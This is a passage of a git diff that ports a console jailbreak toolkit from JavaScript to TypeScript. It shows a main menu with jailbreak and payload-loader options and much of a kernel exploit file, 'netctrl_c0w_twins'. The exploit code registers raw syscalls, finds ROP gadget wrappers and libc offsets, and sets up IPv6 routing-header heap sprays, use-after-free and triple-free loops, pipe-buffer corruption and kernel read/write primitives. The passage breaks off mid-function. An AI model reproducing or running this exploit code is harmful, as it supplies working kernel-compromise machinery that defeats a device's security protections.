- buttons[i].borderColor = 'transparent' - buttons[i].borderWidth = 0 - buttons[i].scaleX = 1.0 - buttons[i].scaleY = 1.0 - buttons[i].x = buttonOrigPos[i].x - buttons[i].y = buttonOrigPos[i].y - buttonTexts[i].scaleX = 1.0 - buttonTexts[i].scaleY = 1.0 - buttonTexts[i].x = textOrigPos[i].x - buttonTexts[i].y = textOrigPos[i].y - buttonMarkers[i].visible = false - } - } - - prevButton = currentButton - } - - function handleButtonPress () { - if (currentButton === buttons.length - 1) { - log('Exiting application...') - try { - if (typeof libc_addr === 'undefined') { - log('Loading userland.js...') - include('userland.js') - } - - if (!fn.getpid) fn.register(0x14, 'getpid', 'bigint') - if (!fn.kill) fn.register(0x25, 'kill', 'bigint') - - var pid = fn.getpid() - var pid_num = (pid instanceof BigInt) ? pid.lo : pid - log('Current PID: ' + pid_num) - log('Sending SIGKILL to PID ' + pid_num) - - fn.kill(pid, new BigInt(0, 9)) - } catch (e) { - log('ERROR during exit: ' + e.message) - if (e.stack) log(e.stack) - } - - jsmaf.exit() - } else if (currentButton < menuOptions.length) { - var selectedOption = menuOptions[currentButton] - log('Loading ' + selectedOption.script + '...') - try { - include(selectedOption.script) - } catch (e) { - log('ERROR loading ' + selectedOption.script + ': ' + e.message) - if (e.stack) log(e.stack) - } - } - } - - jsmaf.onKeyDown = function (keyCode) { - if (keyCode === 6 || keyCode === 5) { - currentButton = (currentButton + 1) % buttons.length - updateHighlight() - } else if (keyCode === 4 || keyCode === 7) { - currentButton = (currentButton - 1 + buttons.length) % buttons.length - updateHighlight() - } else if (keyCode === 14) { - handleButtonPress() - } - } - - updateHighlight() - - log(lang.mainMenuLoaded) -})() diff --git a/src/download0/main-menu.ts b/src/download0/main-menu.ts new file mode 100644 index 0000000..ef2a911 --- /dev/null +++ b/src/download0/main-menu.ts @@ -0,0 +1,305 @@ +import { lang } from 'download0/languages' +import { libc_addr } from 'download0/userland' +import { fn, BigInt } from 'download0/types' + +(function () { + include('languages.js') + log(lang.loadingMainMenu) + + let currentButton = 0 + const buttons: Image[] = [] + const buttonTexts: jsmaf.Text[] = [] + const buttonMarkers: Image[] = [] + const buttonOrigPos: { x: number, y: number }[] = [] + const textOrigPos: { x: number, y: number }[] = [] + + const normalButtonImg = 'file:///assets/img/button_over_9.png' + const selectedButtonImg = 'file:///assets/img/button_over_9.png' + + jsmaf.root.children.length = 0 + + new Style({ name: 'white', color: 'white', size: 24 }) + new Style({ name: 'title', color: 'white', size: 32 }) + + const audio = new jsmaf.AudioClip() + audio.volume = 0.5 // 50% volume + audio.open('file://../download0/sfx/bgm.wav') + + const background = new Image({ + url: 'file:///../download0/img/multiview_bg_VAF.png', + x: 0, + y: 0, + width: 1920, + height: 1080 + }) + jsmaf.root.children.push(background) + + const centerX = 960 + const logoWidth = 600 + const logoHeight = 338 + + const logo = new Image({ + url: 'file:///../download0/img/logo.png', + x: centerX - logoWidth / 2, + y: 50, + width: logoWidth, + height: logoHeight + }) + jsmaf.root.children.push(logo) + + const menuOptions = [ + { label: lang.jailbreak, script: 'loader.js', textImg: 'jailbreak_btn_txt.png' }, + { label: lang.payloadMenu, script: 'payload_host.js', textImg: 'pl_menu_btn_txt.png' }, + { label: lang.config, script: 'config_ui.js', textImg: 'config_btn_txt.png' } + ] + + const startY = 450 + const buttonSpacing = 120 + const buttonWidth = 400 + const buttonHeight = 80 + + for (let i = 0; i < menuOptions.length; i++) { + const btnX = centerX - buttonWidth / 2 + const btnY = startY + i * buttonSpacing + + const button = new Image({ + url: normalButtonImg, + x: btnX, + y: btnY, + width: buttonWidth, + height: buttonHeight + }) + buttons.push(button) + jsmaf.root.children.push(button) + + const marker = new Image({ + url: 'file:///assets/img/ad_pod_marker.png', + x: btnX + buttonWidth - 50, + y: btnY + 35, + width: 12, + height: 12, + visible: false + }) + buttonMarkers.push(marker) + jsmaf.root.children.push(marker) + + const btnText = new jsmaf.Text() + btnText.text = menuOptions[i]!.label + btnText.x = btnX + buttonWidth / 2 - 60 + btnText.y = btnY + buttonHeight / 2 - 12 + btnText.style = 'white' + buttonTexts.push(btnText) + jsmaf.root.children.push(btnText) + + buttonOrigPos.push({ x: btnX, y: btnY }) + textOrigPos.push({ x: btnText.x, y: btnText.y }) + } + + const exitX = centerX - buttonWidth / 2 + const exitY = startY + menuOptions.length * buttonSpacing + 100 + + const exitButton = new Image({ + url: normalButtonImg, + x: exitX, + y: exitY, + width: buttonWidth, + height: buttonHeight + }) + buttons.push(exitButton) + jsmaf.root.children.push(exitButton) + + const exitMarker = new Image({ + url: 'file:///assets/img/ad_pod_marker.png', + x: exitX + buttonWidth - 50, + y: exitY + 35, + width: 12, + height: 12, + visible: false + }) + buttonMarkers.push(exitMarker) + jsmaf.root.children.push(exitMarker) + + const exitText = new jsmaf.Text() + exitText.text = lang.exit + exitText.x = exitX + buttonWidth / 2 - 20 + exitText.y = exitY + buttonHeight / 2 - 12 + exitText.style = 'white' + buttonTexts.push(exitText) + jsmaf.root.children.push(exitText) + + buttonOrigPos.push({ x: exitX, y: exitY }) + textOrigPos.push({ x: exitText.x, y: exitText.y }) + + let zoomInInterval: number | null = null + let zoomOutInterval: number | null = null + let prevButton = -1 + + function easeInOut (t: number) { + return (1 - Math.cos(t * Math.PI)) / 2 + } + + function animateZoomIn (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) { + if (zoomInInterval) jsmaf.clearInterval(zoomInInterval) + const btnW = buttonWidth + const btnH = buttonHeight + const startScale = btn.scaleX || 1.0 + const endScale = 1.1 + const duration = 175 + let elapsed = 0 + const step = 16 + + zoomInInterval = jsmaf.setInterval(function () { + elapsed += step + const t = Math.min(elapsed / duration, 1) + const eased = easeInOut(t) + const scale = startScale + (endScale - startScale) * eased + + btn.scaleX = scale + btn.scaleY = scale + btn.x = btnOrigX - (btnW * (scale - 1)) / 2 + btn.y = btnOrigY - (btnH * (scale - 1)) / 2 + text.scaleX = scale + text.scaleY = scale + text.x = textOrigX - (btnW * (scale - 1)) / 2 + text.y = textOrigY - (btnH * (scale - 1)) / 2 + + if (t >= 1 && zoomInInterval) { + jsmaf.clearInterval(zoomInInterval) + zoomInInterval = null + } + }, step) + } + + function animateZoomOut (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) { + if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval) + const btnW = buttonWidth + const btnH = buttonHeight + const startScale = btn.scaleX || 1.1 + const endScale = 1.0 + const duration = 175 + let elapsed = 0 + const step = 16 + + zoomOutInterval = jsmaf.setInterval(function () { + elapsed += step + const t = Math.min(elapsed / duration, 1) + const eased = easeInOut(t) + const scale = startScale + (endScale - startScale) * eased + + btn.scaleX = scale + btn.scaleY = scale + btn.x = btnOrigX - (btnW * (scale - 1)) / 2 + btn.y = btnOrigY - (btnH * (scale - 1)) / 2 + text.scaleX = scale + text.scaleY = scale + text.x = textOrigX - (btnW * (scale - 1)) / 2 + text.y = textOrigY - (btnH * (scale - 1)) / 2 + + if (t >= 1 && zoomOutInterval) { + jsmaf.clearInterval(zoomOutInterval) + zoomOutInterval = null + } + }, step) + } + + function updateHighlight () { + // Animate out the previous button + const prevButtonObj = buttons[prevButton] + const buttonMarker = buttonMarkers[prevButton] + if (prevButton >= 0 && prevButton !== currentButton && prevButtonObj && buttonMarker) { + prevButtonObj.url = normalButtonImg + prevButtonObj.alpha = 0.7 + prevButtonObj.borderColor = 'transparent' + prevButtonObj.borderWidth = 0 + buttonMarker.visible = false + animateZoomOut(prevButtonObj, buttonTexts[prevButton]!, buttonOrigPos[prevButton]!.x, buttonOrigPos[prevButton]!.y, textOrigPos[prevButton]!.x, textOrigPos[prevButton]!.y) + } + + // Set styles for all buttons + for (let i = 0; i < buttons.length; i++) { + const button = buttons[i] + const buttonMarker = buttonMarkers[i] + const buttonText = buttonTexts[i] + const buttonOrigPos_ = buttonOrigPos[i] + const textOrigPos_ = textOrigPos[i] + if (button === undefined || buttonText === undefined || buttonOrigPos_ === undefined || textOrigPos_ === undefined || buttonMarker === undefined) continue + if (i === currentButton) { + button.url = selectedButtonImg + button.alpha = 1.0 + button.borderColor = 'rgb(100,180,255)' + button.borderWidth = 3 + buttonMarker.visible = true + animateZoomIn(button, buttonText, buttonOrigPos_.x, buttonOrigPos_.y, textOrigPos_.x, textOrigPos_.y) + } else if (i !== prevButton) { + button.url = normalButtonImg + button.alpha = 0.7 + button.borderColor = 'transparent' + button.borderWidth = 0 + button.scaleX = 1.0 + button.scaleY = 1.0 + button.x = buttonOrigPos_.x + button.y = buttonOrigPos_.y + buttonText.scaleX = 1.0 + buttonText.scaleY = 1.0 + buttonText.x = textOrigPos_.x + buttonText.y = textOrigPos_.y + buttonMarker.visible = false + } + } + + prevButton = currentButton + } + + function handleButtonPress () { + if (currentButton === buttons.length - 1) { + log('Exiting application...') + try { + if (typeof libc_addr === 'undefined') { + log('Loading userland.js...') + include('userland.js') + } + + fn.register(0x14, 'getpid', [], 'bigint') + fn.register(0x25, 'kill', ['bigint', 'bigint'], 'bigint') + + const pid = fn.getpid() + const pid_num = (pid instanceof BigInt) ? pid.lo : pid + log('Current PID: ' + pid_num) + log('Sending SIGKILL to PID ' + pid_num) + + fn.kill(pid, new BigInt(0, 9)) + } catch (e) { + log('ERROR during exit: ' + (e as Error).message) + if ((e as Error).stack) log((e as Error).stack!) + } + + jsmaf.exit() + } else if (currentButton < menuOptions.length) { + const selectedOption = menuOptions[currentButton] + if (!selectedOption) return + log('Loading ' + selectedOption.script + '...') + try { + include(selectedOption.script) + } catch (e) { + log('ERROR loading ' + selectedOption.script + ': ' + (e as Error).message) + if ((e as Error).stack) log((e as Error).stack!) + } + } + } + + jsmaf.onKeyDown = function (keyCode) { + if (keyCode === 6 || keyCode === 5) { + currentButton = (currentButton + 1) % buttons.length + updateHighlight() + } else if (keyCode === 4 || keyCode === 7) { + currentButton = (currentButton - 1 + buttons.length) % buttons.length + updateHighlight() + } else if (keyCode === 14) { + handleButtonPress() + } + } + + updateHighlight() + + log(lang.mainMenuLoaded) +})() diff --git a/src/download0/netctrl_c0w_twins.js b/src/download0/netctrl_c0w_twins.ts similarity index 61% rename from src/download0/netctrl_c0w_twins.js rename to src/download0/netctrl_c0w_twins.ts index edbf541..b03c46d 100644 --- a/src/download0/netctrl_c0w_twins.js +++ b/src/download0/netctrl_c0w_twins.ts @@ -1,3 +1,7 @@ +import { fn, syscalls, BigInt, utils, gadgets } from 'download0/types' +import { libc_addr } from 'download0/userland' +import { get_fwversion, hex, malloc, read16, read32, read64, send_notification, write16, write32, write64, write8, get_kernel_offset, kernel, jailbreak_shared, read8 } from 'download0/kernel' + // include('userland.js') include('kernel.js') @@ -17,267 +21,234 @@ if (!String.prototype.padStart) { } } -function write8 (addr, val) { - mem.view(addr).setUint8(0, val & 0xFF, true) -} - -function write16 (addr, val) { - mem.view(addr).setUint16(0, val & 0xFFFF, true) -} - -function write32 (addr, val) { - mem.view(addr).setUint32(0, val & 0xFFFFFFFF, true) -} - -function write64 (addr, val) { - mem.view(addr).setBigInt(0, val, true) -} - -function read8 (addr) { - return mem.view(addr).getUint8(0, true) -} - -function read16 (addr) { - return mem.view(addr).getUint16(0, true) -} - -function read32 (addr) { - return mem.view(addr).getUint32(0, true) -} - -function read64 (addr) { - return mem.view(addr).getBigInt(0, true) -} - -function malloc (size) { - return mem.malloc(size) -} - -function hex (val) { - if (val instanceof BigInt) { return val.toString() } - return '0x' + val.toString(16).padStart(2, '0') -} - -function send_notification (msg) { - utils.notify(msg) -} - -var dup = fn.register(0x29, 'dup', 'bigint') -var close = fn.register(0x06, 'close', 'bigint') -var read = fn.register(0x03, 'read', 'bigint') -var readv = fn.register(0x78, 'readv', 'bigint') -var write = fn.register(0x04, 'write', 'bigint') -var writev = fn.register(0x79, 'writev', 'bigint') -var ioctl = fn.register(0x36, 'ioctl', 'bigint') -var pipe = fn.register(0x2A, 'pipe', 'bigint') -var kqueue = fn.register(0x16A, 'kqueue', 'bigint') -var socket = fn.register(0x61, 'socket', 'bigint') -var socketpair = fn.register(0x87, 'socketpair', 'bigint') -var recvmsg = fn.register(0x1B, 'recvmsg', 'bigint') -var getsockopt = fn.register(0x76, 'getsockopt', 'bigint') -var setsockopt = fn.register(0x69, 'setsockopt', 'bigint') -var setuid = fn.register(0x17, 'setuid', 'bigint') -var getpid = fn.register(0x14, 'getpid', 'bigint') -var sched_yield = fn.register(0x14B, 'sched_yield', 'bigint') -var cpuset_getaffinity = fn.register(0x1E7, 'cpuset_getaffinity', 'bigint') -var cpuset_setaffinity = fn.register(0x1E8, 'cpuset_setaffinity', 'bigint') -var rtprio_thread = fn.register(0x1D2, 'rtprio_thread', 'bigint') -var netcontrol = fn.register(0x63, 'netcontrol', 'bigint') -var thr_new = fn.register(0x1C7, 'thr_new', 'bigint') -var thr_kill = fn.register(0x1B1, 'thr_kill', 'bigint') -var nanosleep = fn.register(0xF0, 'nanosleep', 'bigint') -var fcntl = fn.register(0x5C, 'fcntl', 'bigint') -var sysctl = fn.register(0x0ca, 'sysctl', 'bigint') -var getuid = fn.register(0x18, 'getuid', 'bigint') -var is_in_sandbox = fn.register(0x249, 'is_in_sandbox', 'bigint') -var jitshm_create = fn.register(0x215, 'jitshm_create', 'bigint') -var jitshm_alias = fn.register(0x216, 'jitshm_alias', 'bigint') -var mmap = fn.register(477, 'mmap', 'bigint') -var kexec = fn.register(0x295, 'kexec', 'bigint') -var munmap = fn.register(0x49, 'munmap', 'bigint') +fn.register(0x29, 'dup', ['bigint'], 'bigint') +const dup = fn.dup +fn.register(0x06, 'close', ['bigint'], 'bigint') +const close = fn.close +fn.register(0x03, 'read', ['bigint', 'bigint', 'number'], 'bigint') +const read = fn.read +fn.register(0x04, 'write', ['bigint', 'bigint', 'number'], 'bigint') +const write = fn.write +fn.register(0x36, 'ioctl', ['bigint', 'number', 'bigint'], 'bigint') +const ioctl = fn.ioctl +fn.register(0x2A, 'pipe', ['bigint'], 'bigint') +const pipe = fn.pipe +fn.register(0x16A, 'kqueue', [], 'bigint') +const kqueue = fn.kqueue +fn.register(0x61, 'socket', ['number', 'number', 'number'], 'bigint') +const socket = fn.socket +fn.register(0x87, 'socketpair', ['number', 'number', 'number', 'bigint'], 'bigint') +const socketpair = fn.socketpair +fn.register(0x76, 'getsockopt', ['bigint', 'number', 'number', 'bigint', 'bigint'], 'bigint') +const getsockopt = fn.getsockopt +fn.register(0x69, 'setsockopt', ['bigint', 'number', 'number', 'bigint', 'number'], 'bigint') +const setsockopt = fn.setsockopt +fn.register(0x17, 'setuid', ['number'], 'bigint') +const setuid = fn.setuid +fn.register(20, 'getpid', [], 'bigint') +const getpid = fn.getpid +fn.register(0x14B, 'sched_yield', [], 'bigint') +const sched_yield = fn.sched_yield +fn.register(0x1E7, 'cpuset_getaffinity', ['number', 'number', 'bigint', 'number', 'bigint'], 'bigint') +const cpuset_getaffinity = fn.cpuset_getaffinity +fn.register(0x1E8, 'cpuset_setaffinity', ['number', 'number', 'bigint', 'number', 'bigint'], 'bigint') +const cpuset_setaffinity = fn.cpuset_setaffinity +fn.register(0x1D2, 'rtprio_thread', ['number', 'number', 'bigint'], 'bigint') +const rtprio_thread = fn.rtprio_thread +fn.register(0x63, 'netcontrol', ['bigint', 'number', 'bigint', 'number'], 'bigint') +const netcontrol = fn.netcontrol +fn.register(0x1C7, 'thr_new', ['bigint', 'number'], 'bigint') +const thr_new = fn.thr_new +fn.register(0xF0, 'nanosleep', ['bigint'], 'bigint') +const nanosleep = fn.nanosleep +fn.register(0x5C, 'fcntl', ['bigint', 'number', 'number'], 'bigint') +const fcntl = fn.fcntl // Extract syscall wrapper addresses for ROP chains from syscalls.map -var read_wrapper = syscalls.map.get(0x03) -var write_wrapper = syscalls.map.get(0x04) -var sched_yield_wrapper = syscalls.map.get(0x14b) -var cpuset_setaffinity_wrapper = syscalls.map.get(0x1e8) -var rtprio_thread_wrapper = syscalls.map.get(0x1D2) -var recvmsg_wrapper = syscalls.map.get(0x1B) -var readv_wrapper = syscalls.map.get(0x78) -var writev_wrapper = syscalls.map.get(0x79) -var thr_exit_wrapper = syscalls.map.get(0x1af) -var thr_suspend_ucontext_wrapper = syscalls.map.get(0x278) -var setsockopt_wrapper = syscalls.map.get(0x69) -var getsockopt_wrapper = syscalls.map.get(0x76) +const read_wrapper = syscalls.map.get(0x03)! +const write_wrapper = syscalls.map.get(0x04)! +const sched_yield_wrapper = syscalls.map.get(0x14b)! +const cpuset_setaffinity_wrapper = syscalls.map.get(0x1e8)! +const rtprio_thread_wrapper = syscalls.map.get(0x1D2)! +const recvmsg_wrapper = syscalls.map.get(0x1B)! +const readv_wrapper = syscalls.map.get(0x78)! +const writev_wrapper = syscalls.map.get(0x79)! +const thr_exit_wrapper = syscalls.map.get(0x1af)! +const thr_suspend_ucontext_wrapper = syscalls.map.get(0x278)! +const setsockopt_wrapper = syscalls.map.get(0x69)! +const getsockopt_wrapper = syscalls.map.get(0x76)! -var setjmp = fn.register(libc_addr.add(0x6CA00), 'setjmp', 'bigint') -var setjmp_addr = libc_addr.add(0x6CA00) -var longjmp = fn.register(libc_addr.add(0x6CA50), 'longjmp', 'bigint') -var longjmp_addr = libc_addr.add(0x6CA50) +fn.register(libc_addr.add(0x6CA00), 'setjmp', ['bigint'], 'bigint') +const setjmp = fn.setjmp +const setjmp_addr = libc_addr.add(0x6CA00) +const longjmp_addr = libc_addr.add(0x6CA50) -var BigInt_Error = new BigInt(0xFFFFFFFF, 0xFFFFFFFF) +const BigInt_Error = new BigInt(0xFFFFFFFF, 0xFFFFFFFF) -KERNEL_PID = 0 +const KERNEL_PID = 0 -SYSCORE_AUTHID = new BigInt(0x48000000, 0x00000007) +const SYSCORE_AUTHID = new BigInt(0x48000000, 0x00000007) -FIOSETOWN = 0x8004667C +const FIOSETOWN = 0x8004667C -PAGE_SIZE = 0x4000 +const PAGE_SIZE = 0x4000 -NET_CONTROL_NETEVENT_SET_QUEUE = 0x20000003 -NET_CONTROL_NETEVENT_CLEAR_QUEUE = 0x20000007 +const NET_CONTROL_NETEVENT_SET_QUEUE = 0x20000003 +const NET_CONTROL_NETEVENT_CLEAR_QUEUE = 0x20000007 -AF_UNIX = 1 -AF_INET6 = 28 -SOCK_STREAM = 1 -IPPROTO_IPV6 = 41 +const AF_UNIX = 1 +const AF_INET6 = 28 +const SOCK_STREAM = 1 +const IPPROTO_IPV6 = 41 -SO_SNDBUF = 0x1001 -SOL_SOCKET = 0xffff +const SO_SNDBUF = 0x1001 +const SOL_SOCKET = 0xffff -IPV6_RTHDR = 51 -IPV6_RTHDR_TYPE_0 = 0 +const IPV6_RTHDR = 51 +const IPV6_RTHDR_TYPE_0 = 0 -RTP_PRIO_REALTIME = 2 -RTP_SET = 1 +const RTP_PRIO_REALTIME = 2 -UIO_READ = 0 -UIO_WRITE = 1 -UIO_SYSSPACE = 1 +const UIO_READ = 0 +const UIO_WRITE = 1 +const UIO_SYSSPACE = 1 -CPU_LEVEL_WHICH = 3 -CPU_WHICH_TID = 1 +const CPU_LEVEL_WHICH = 3 +const CPU_WHICH_TID = 1 -IOV_SIZE = 0x10 -CPU_SET_SIZE = 0x10 -PIPEBUF_SIZE = 0x18 -MSG_HDR_SIZE = 0x30 -FILEDESCENT_SIZE = 0x8 -UCRED_SIZE = 0x168 +const IOV_SIZE = 0x10 +const CPU_SET_SIZE = 0x10 +const PIPEBUF_SIZE = 0x18 +const MSG_HDR_SIZE = 0x30 +const FILEDESCENT_SIZE = 0x8 +const UCRED_SIZE = 0x168 -RTHDR_TAG = 0x13370000 +const RTHDR_TAG = 0x13370000 -UIO_IOV_NUM = 0x14 -MSG_IOV_NUM = 0x17 +const UIO_IOV_NUM = 0x14 +const MSG_IOV_NUM = 0x17 // Params for kext stability -IPV6_SOCK_NUM = 96 -IOV_THREAD_NUM = 8 -UIO_THREAD_NUM = 8 -MAIN_LOOP_ITERATIONS = 3 -TRIPLEFREE_ITERATIONS = 8 -KQUEUE_ITERATIONS = 5000 +const IPV6_SOCK_NUM = 96 +const IOV_THREAD_NUM = 8 +const UIO_THREAD_NUM = 8 +const MAIN_LOOP_ITERATIONS = 3 +const TRIPLEFREE_ITERATIONS = 8 +const KQUEUE_ITERATIONS = 5000 -MAX_ROUNDS_TWIN = 10 -MAX_ROUNDS_TRIPLET = 200 +const MAX_ROUNDS_TWIN = 10 +const MAX_ROUNDS_TRIPLET = 200 -COMMAND_UIO_READ = 0 -COMMAND_UIO_WRITE = 1 +const MAIN_CORE = 7 +const MAIN_RTPRIO = 0x100 -MAIN_CORE = 7 -MAIN_RTPRIO = 0x100 +const RTP_LOOKUP = 0 +const RTP_SET = 1 +const PRI_REALTIME = 2 -RTP_LOOKUP = 0 -RTP_SET = 1 -PRI_REALTIME = 2 +const F_SETFL = 4 +const O_NONBLOCK = 4 -F_SETFL = 4 -O_NONBLOCK = 4 - -FW_VERSION = '' // Needs to be initialized to patch kernel +let FW_VERSION: string | null = null // Needs to be initialized to patch kernel /***************************/ -/* Used variables */ +/* Used constiables */ /** *********************** */ -var twins = new Array(2) -var triplets = new Array(3) -var ipv6_socks = new Array(IPV6_SOCK_NUM) +const twins = new Array(2) +const triplets = new Array(3) +const ipv6_socks = new Array(IPV6_SOCK_NUM) -var spray_rthdr = malloc(UCRED_SIZE) -var spray_rthdr_len -var leak_rthdr = malloc(UCRED_SIZE) -var leak_rthdrLen +const spray_rthdr = malloc(UCRED_SIZE) +let spray_rthdr_len: number = -1 +const leak_rthdr = malloc(UCRED_SIZE) // Allocate buffer for ipv6_sockets magic spray -var spray_rthdr_rop = malloc(IPV6_SOCK_NUM * UCRED_SIZE) +const spray_rthdr_rop = malloc(IPV6_SOCK_NUM * UCRED_SIZE) // Allocate buffer array for all socket data (X sockets × 8 bytes each) -var read_rthdr_rop = malloc(IPV6_SOCK_NUM * 8) -var check_len = malloc(4) +const read_rthdr_rop = malloc(IPV6_SOCK_NUM * 8) +const check_len = malloc(4) // Initialize check_len to 8 bytes (done in JavaScript before ROP runs) -var fdt_ofiles -var master_r_pipe_file -var victim_r_pipe_file -var master_r_pipe_data -var victim_r_pipe_data +let fdt_ofiles: BigInt = new BigInt(0) +let master_r_pipe_file: BigInt = new BigInt(0) +let victim_r_pipe_file: BigInt = new BigInt(0) +let master_r_pipe_data: BigInt = new BigInt(0) +let victim_r_pipe_data: BigInt = new BigInt(0) // Corrupt pipebuf of masterRpipeFd. -master_pipe_buf = malloc(PIPEBUF_SIZE) +let master_pipe_buf = malloc(PIPEBUF_SIZE) write32(check_len, 8) -var msg = malloc(MSG_HDR_SIZE) -var msgIov = malloc(MSG_IOV_NUM * IOV_SIZE) -var uioIovRead = malloc(UIO_IOV_NUM * IOV_SIZE) -var uioIovWrite = malloc(UIO_IOV_NUM * IOV_SIZE) +const msg = malloc(MSG_HDR_SIZE) +const msgIov = malloc(MSG_IOV_NUM * IOV_SIZE) +const uioIovRead = malloc(UIO_IOV_NUM * IOV_SIZE) +const uioIovWrite = malloc(UIO_IOV_NUM * IOV_SIZE) -var uio_sock = malloc(8) -var iov_sock = malloc(8) +const uio_sock = malloc(8) +const iov_sock = malloc(8) -var iov_thread_ready = malloc(8 * IOV_THREAD_NUM) -var iov_thread_done = malloc(8 * IOV_THREAD_NUM) -var iov_signal_buf = malloc(8 * IOV_THREAD_NUM) +const iov_thread_ready = malloc(8 * IOV_THREAD_NUM) +const iov_thread_done = malloc(8 * IOV_THREAD_NUM) +const iov_signal_buf = malloc(8 * IOV_THREAD_NUM) -var uio_readv_thread_ready = malloc(8 * UIO_THREAD_NUM) -var uio_readv_thread_done = malloc(8 * UIO_THREAD_NUM) -var uio_readv_signal_buf = malloc(8 * IOV_THREAD_NUM) +const uio_readv_thread_ready = malloc(8 * UIO_THREAD_NUM) +const uio_readv_thread_done = malloc(8 * UIO_THREAD_NUM) +const uio_readv_signal_buf = malloc(8 * IOV_THREAD_NUM) -var uio_writev_thread_ready = malloc(8 * UIO_THREAD_NUM) -var uio_writev_thread_done = malloc(8 * UIO_THREAD_NUM) -var uio_writev_signal_buf = malloc(8 * IOV_THREAD_NUM) +const uio_writev_thread_ready = malloc(8 * UIO_THREAD_NUM) +const uio_writev_thread_done = malloc(8 * UIO_THREAD_NUM) +const uio_writev_signal_buf = malloc(8 * IOV_THREAD_NUM) -var spray_ipv6_ready = malloc(8) -var spray_ipv6_done = malloc(8) -var spray_ipv6_signal_buf = malloc(8) -var spray_ipv6_stack = malloc(0x2000) -var spray_ipv6_triplet_stack = malloc(0x2000) +const spray_ipv6_ready = malloc(8) +const spray_ipv6_done = malloc(8) +const spray_ipv6_signal_buf = malloc(8) +const spray_ipv6_stack = malloc(0x2000) +const spray_ipv6_triplet_stack = malloc(0x2000) -var iov_recvmsg_workers = [] -var uio_readv_workers = [] -var uio_writev_workers = [] -var spray_ipv6_worker +interface Worker { + rop: BigInt[] + loop_size: number + pipe_0: number + pipe_1: number + ready: BigInt + done: BigInt + signal_buf: BigInt + thread_id?: number +} -var uaf_socket +const iov_recvmsg_workers: Worker[] = [] +const uio_readv_workers: Worker[] = [] +const uio_writev_workers: Worker[] = [] +let spray_ipv6_worker: Worker -var uio_sock_0 -var uio_sock_1 +let uaf_socket: number | undefined -var iov_sock_0 -var iov_sock_1 +let uio_sock_0: number +let uio_sock_1: number -var pipe_sock = malloc(8) -var master_pipe = [] -var victim_pipe = [] +let iov_sock_0: number +let iov_sock_1: number +const pipe_sock = malloc(8) +const master_pipe: [number, number] = [0, 0] +const victim_pipe: [number, number] = [0, 0] -var masterRpipeFd -var masterWpipeFd -var victimRpipeFd -var victimWpipeFd +let masterRpipeFd: number +let masterWpipeFd: number +let victimRpipeFd: number +let victimWpipeFd: number -var kq_fdp -var kl_lock -var fdt_ofiles -var allproc +let kq_fdp: BigInt +let kl_lock: BigInt -var tmp = malloc(PAGE_SIZE) +const tmp = malloc(PAGE_SIZE) -var saved_fpu_ctrl = 0 -var saved_mxcsr = 0 +let saved_fpu_ctrl = 0 +let saved_mxcsr = 0 -function build_rthdr (buf, size) { - const len = ((Number(size) >> 3) - 1) & ~1 +function build_rthdr (buf: BigInt, size: number) { + const len = ((size >> 3) - 1) & ~1 const actual_size = (len + 1) << 3 write8(buf.add(0x00), 0) // ip6r_nxt write8(buf.add(0x01), len) // ip6r_len @@ -286,11 +257,10 @@ function build_rthdr (buf, size) { return actual_size } -function set_sockopt (sd, level, optname, optval, optlen) { +function set_sockopt (sd: BigInt, level: number, optname: number, optval: BigInt, optlen: number) { const result = setsockopt(sd, level, optname, optval, optlen) - if (result.eq(BigInt_Error)) { + if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { throw new Error('set_sockopt error: ' + hex(result)) - // debug("set_sockopt error: " + hex(result)); } return result } @@ -298,7 +268,7 @@ function set_sockopt (sd, level, optname, optval, optlen) { // Global buffer to minimize footprint const sockopt_len_ptr = malloc(4) -function get_sockopt (sd, level, optname, optval, optlen) { +function get_sockopt (sd: BigInt, level: number, optname: number, optval: BigInt, optlen: number) { // const len_ptr = malloc(4); write32(sockopt_len_ptr, optlen) const result = getsockopt(sd, level, optname, optval, sockopt_len_ptr) @@ -310,41 +280,41 @@ function get_sockopt (sd, level, optname, optval, optlen) { return read32(sockopt_len_ptr) } -function set_rthdr (sd, buf, len) { +function set_rthdr (sd: BigInt, buf: BigInt, len: number) { return set_sockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len) // debug("set_sockopt with sd: " + hex(sd) + " ret: " + hex(ret)); // debug("Called with buf: " + hex(read64(buf)) + " len: " + hex(len)); // return ret; } -function get_rthdr (sd, buf, max_len) { +function get_rthdr (sd: BigInt, buf: BigInt, max_len: number) { return get_sockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, max_len) // debug("get_sockopt with sd: " + hex(sd) + " ret: " + hex(ret)); // debug("Result buf: " + hex(read64(buf)) + " max_len: " + hex(max_len)); // return ret; } -function free_rthdrs (sds) { - for (var i = 0; i < sds.length; i++) { - if (!sds[i].eq(BigInt_Error)) { - set_sockopt(sds[i], IPPROTO_IPV6, IPV6_RTHDR, 0, 0) +function free_rthdrs (sds: BigInt[]) { + for (const sd of sds) { + if (!sd.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + set_sockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, new BigInt(0), 0) } } } -function free_rthdr (sd) { - set_sockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, 0, 0) +function free_rthdr (sd: BigInt) { + set_sockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, new BigInt(0), 0) } -function pin_to_core (core) { +function pin_to_core (core: number) { const mask = malloc(0x10) write32(mask, 1 << core) cpuset_setaffinity(3, 1, BigInt_Error, 0x10, mask) } -function get_core_index (mask_addr) { - var num = Number(read32(mask_addr)) - var position = 0 +function get_core_index (mask_addr: BigInt) { + let num = Number(read32(mask_addr)) + let position = 0 while (num > 0) { num = num >>> 1 position++ @@ -358,7 +328,7 @@ function get_current_core () { return get_core_index(mask) } -function set_rtprio (prio) { +function set_rtprio (prio: number) { const rtprio = malloc(0x4) write16(rtprio, PRI_REALTIME) write16(rtprio.add(2), prio) @@ -374,109 +344,105 @@ function get_rtprio () { } function create_workers () { - var sock_buf = malloc(8) + const sock_buf = malloc(8) // Create workers - for (var i = 0; i < IOV_THREAD_NUM; i++) { - var worker = {} - var pipe_0 - var pipe_1 - var ready = iov_thread_ready.add(8 * i) - var done = iov_thread_done.add(8 * i) - var signal_buf = iov_signal_buf.add(8 * i) + for (let i = 0; i < IOV_THREAD_NUM; i++) { + const ready = 